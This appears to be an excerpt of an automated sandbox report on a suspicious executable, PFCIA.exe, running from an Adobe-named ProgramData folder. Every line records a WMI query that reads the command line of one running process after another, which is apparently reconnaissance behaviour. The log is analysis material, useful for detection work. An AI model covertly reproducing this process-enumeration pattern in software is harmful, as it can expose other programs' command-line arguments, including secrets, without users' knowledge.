    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1732
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1928
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2124
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3108
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5668
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5076
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7740
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4196
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3300
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 540
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 736
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 932
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6168
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1212
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6048
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1516
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1708
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1116
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2240
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3080
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4348
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1404
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6228
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3272
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7408
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2384
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5720
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6652
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2236
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5648
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 900
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5036
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4684
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7288
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2864
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6212
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 892
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7692
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2268
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 172
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1472
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2476
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5016
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1272
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1640
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7176
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4436
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4808
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6764
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1412
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5592
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3256
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5388
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4796
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7552
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6960
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2428
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3016
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5608
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1832
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5276
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1436
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6360
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1236
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3008
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1824
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2216
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4972
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1228
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1424
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1028
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3588
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4964
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4004
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 824
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1216
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2988
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3344
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4276
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2788
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6136
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3180
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3376
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2116
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6476
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3964
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2780
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4748
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6712
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6080
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6528
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2848
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4788
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1032
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4844
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2172
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3816
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5152
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 984
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6868
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2556
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1484
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4720
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8124
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8064
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1168
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5304
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4712
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2544
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 572
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5496
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5096
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6872
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1552
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2536
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2928
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1544
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2528
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1936
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2444
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1364
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1732
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1928
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2124
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3108
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5668
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5076
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7740
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4196
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3300
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 540
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 736
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 932
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6168
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5680
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1212
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6048
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1516
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1708
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1116
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2240
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3080
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4348
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1404
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6228
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3272
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7408
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2384
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5720
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6652
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2236
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5648
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 900
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5036
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4684
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7288
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2864
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6212
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 892
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7692
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2268
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 172
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1472
